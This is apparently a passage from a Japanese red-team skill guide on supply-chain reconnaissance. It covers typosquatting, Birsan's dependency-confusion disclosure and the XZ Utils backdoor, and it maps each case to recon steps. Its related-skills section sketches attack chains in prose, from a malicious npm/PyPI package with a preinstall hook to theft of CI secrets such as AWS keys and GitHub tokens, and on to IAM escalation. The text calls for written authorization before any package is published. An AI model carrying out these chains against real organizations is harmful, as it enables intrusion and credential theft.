  • 影響: 各キャンペーンは通常、削除されるまでのインストール数が 1 万未満でしたが、jeIlyfish は 1 年間(2018 年 12 月から 2019 年 12 月まで)公開されていました。累計では、Snyk、Phylum、Sonatype、ReversingLabs により、毎年数十件のキャンペーンが報告されています。
  • 参考資料:
  • 調査で得られる教訓: スキルのステップ 5(タイポスクワッティング候補の生成)は、ここに直接当てはまります。外部向けの調査では、タイポスクワッティング候補の名前を列挙します。明示的に許可されない限り、決して公開してはいけません。成果物は「主要な依存関係のタイポスクワッティング候補 17 件が現在未登録です。防御目的での登録を推奨します」です。
11. Alex Birsan による依存関係の混同に関する開示(2021 年 2 月)
  • 手口: Birsan は、Apple、Microsoft、PayPal、Shopify、Uber、Tesla、Yelp など約 35 社の、内部 npm スコープ名を抽出しました。情報源は、archive.org 上に公開キャッシュされていた package.json ファイル、誤って公開された GitHub リポジトリ、JS バンドルでした。その後、同じ内部名で、より高い semver のパッケージを公開 npm/PyPI/RubyGems に登録しました。多くの企業のビルドシステムは、内部パッケージではなく公開パッケージを解決し、テレメトリのみを送信する彼のペイロードを実行しました。
  • 根本原因: パッケージマネージャー(npm、pip、gem)は、デフォルトで「レジストリに関係なく、最も高いバージョンを優先」します。内部パッケージ名が外部の情報源に漏れていました。スコープとレジストリの対応を強制する仕組みがありませんでした。
  • 影響: バグ報奨金は 13 万ドル超(2021 年に複数のプログラムを通じて単独の研究者が得た金額として、判明している限り最高額)でした。「依存関係の混同」という攻撃手法全体の誕生につながり、npm/PyPI/Microsoft Azure Artifacts はいずれも緩和策を導入しました。
  • 参考資料:
  • 調査で得られる教訓: これは、スキルのステップ 3 とステップ 4 の根拠となる代表的な事例です。JS バンドルを通じた内部スコープの発見は、典型的な調査手法です。Birsan の深刻度評価にも注目してください。ほとんどの標的では「名前が未登録」というだけで十分でした。ビルドが、公開 npm へフォールバックする設定で npm install を実行していたためです。ただし、スキルの深刻度表では、これがすべての環境に当てはまるわけではないことが正しく示されています。
12. XZ Utils(CVE-2024-3094、2024年3月)
  • 攻撃の流れ:「Jia Tan」(JiaT75)は、2年以上にわたり、xz-utils(ほぼすべての Linux ディストリビューションで使われている上流のオープンソース圧縮ライブラリ)のメンテナーをソーシャルエンジニアリングで欺きました。共同メンテナーの権限を得ると、liblzma のビルドプロセスに多段階のバックドアを挿入しました。テスト用フィクスチャに見せかけたこのバックドアは、OpenSSH の systemd-notify 連携を介して SSH 認証を乗っ取るものでした。
  • **根本原因:**単独メンテナーのオープンソースプロジェクトでの燃え尽きと、国家レベルの忍耐強さ(Operation J/APT の関与が疑われています)。主要なディストリビューションへの出荷前にバックドアが発見されました(短期間混入していたのは Fedora Rawhide と Debian unstable のみでした)。ベンチマーク中に Andres Freund が SSH の遅延を500ミリ秒検知したことが発見につながりました。
  • **影響:**大規模展開前に発見された、重大なニアミスでした。「単独メンテナーが担う重要なオープンソースプロジェクト」のリスクについて、業界全体で再評価が行われるきっかけとなりました。CISA、NIST、OpenSSF はいずれも事後分析を公表しました。
  • 参考資料:
  • **偵察上の教訓:**外部からの偵察が最も難しいケースです。メンテナーを何年もかけてソーシャルエンジニアリングで欺いても、外部から確認できる兆候はほとんど残りません。ただし、GitHub のコミット履歴を分析することで(重要なライブラリで新しい貢献者がコミット権限を得ていないか、難読化したテスト用フィクスチャを追加するコミットがないか、リリース時だけ実行されるビルド変更がないかを確認すること)、Andres Freund が実質的に行った調査を再現できます。このスキルのステップ2(公開リポジトリの列挙)は、「履歴の浅いアカウントへの高い信頼レベルの権限付与を監視する」よう拡張できます。

網羅性マップ:事例と偵察スキルのステップ
スキルのステップ該当する事例
ステップ1 — GitHub 組織の発見Birsan 2021、XZ 2024
ステップ2 — 公開リポジトリの成果物の調査Codecov 2021、XZ 2024、PHP 2021
ステップ3 — 内部パッケージ名の発見Birsan 2021
ステップ4 — 依存関係の混同攻撃の確認Birsan 2021、ua-parser-js 2021
ステップ5 — タイポスクワッティング候補PyPI colourama/jeIlyfish、event-stream 2018
ステップ6 — GitHub Actions ワークフローへのインジェクションtj-actions/changed-files 2025、Codecov 2021
ステップ7 — Docker/コンテナレジストリの調査Codecov 2021、3CX 2023
ステップ8 — SBOM/成果物のメタデータLog4Shell 2021、MOVEit 2023
ステップ9 — 内部レジストリ URL の漏えいBirsan 2021、SolarWinds 2020
ステップ10 — npm/PyPI 組織の有無ua-parser-js 2021、event-stream 2018
12事例に共通するパターン
  • コード署名があっても安全とは限りません — SolarWinds、3CX、ua-parser-js はいずれも、正規に署名された悪意あるコードを出荷しました。
  • 変更可能な参照への固定は、繰り返し発生する失敗です — curl | bash(Codecov)、@v35 のアクションタグ(tj-actions)、^1.0.0 の semver(Birsan、event-stream)。
  • npm/PyPI のエコシステムでは、技術的な CVE よりメンテナーアカウントの侵害が問題になります — 12事例のうち6事例です。
  • サプライチェーン攻撃の連鎖は、もはや珍しくありません — X_TRADER からの 3CX 攻撃、Codecov → HashiCorp → HashiCorp の下流ユーザー。概念上、対象のベンダーのベンダーも調査対象に含まれると考えてください。
  • CI ランナーは最も価値の高い足掛かりです — 攻撃者のコードが CI ランナー上で実行された事例では、いずれもクラウド、GitHub、シークレットの情報が大量に窃取されました。

関連スキルとチェーン

  • hunt-rce — 依存関係の混同攻撃は、パッケージをインストールするあらゆるランナーで RCE につながります。CI ランナーは最も価値の高い標的です。チェーンの起点:公開 JS バンドル/SBOM/Docker イメージから内部パッケージ名が漏えい → 同じ名前で、より高いバージョンの悪意あるパッケージを公開 npm/PyPI に登録 → CI ランナーで次の npm install/pip install が実行され、preinstall フックで攻撃者のコードが動作 → hunt-rce で侵入後の活動(環境変数の抽出により AWS キー、GitHub PAT、Slack トークンを取得) → CI プレーンの乗っ取り。
  • cloud-iam-deep — CI ランナーには IAM 認証情報があります。そこでサプライチェーンを介した RCE に成功すれば、認証情報を大量に窃取できます。チェーンの起点:GitHub Actions ランナーで悪意あるパッケージが実行される → 環境変数から $AWS_ACCESS_KEY_ID/$GITHUB_TOKEN を読み取る → cloud-iam-deep で列挙 → IAM 権限昇格チェーン → 本番環境のクラウドプレーンにアクセス。
  • offensive-osint — 偵察の手法は大きく重複します。SBOM、JS バンドル、GitHub 組織の列挙、Docker レジストリのタグは、どちらにも関係します。チェーンの起点:offensive-osint による GitHub 組織の偵察で、CI ワークフローから参照される内部パッケージ名を特定 → supply-chain-attack-recon で公開 npm/PyPI と照合し、タイプミススクワッティング/依存関係の混同の候補を探す。
  • hunt-cloud-misconfig — コンテナレジストリ(Docker Hub、GHCR、ECR public)では、非公開イメージが誤って公開されていることがよくあります。チェーンの起点:SBOM の調査で internal-tools-v2:latest の参照を発見 → Docker Hub で誤って公開されたミラーがないか確認 → hunt-cloud-misconfig でレジストリを列挙 → イメージを取得 → レイヤーに埋め込まれたシークレットを抽出。
  • triage-validation + redteam-report-template — サプライチェーンの偵察はスコープ内ですが、実際のパッケージ公開は外部攻撃にあたり、明示的な書面での承認が必要です。チェーンの起点:偵察のみで候補リストを作成 → triage-validation の 7-Question Gate に通す(特に「公開せずに影響を実証できるか?」を確認) → redteam-report-template を使い、「依存関係の混同候補の一覧+再現手順」として報告します。クライアントから書面で承認を得ていない限り、公開パッケージを使った PoC として報告してはいけません。

コメント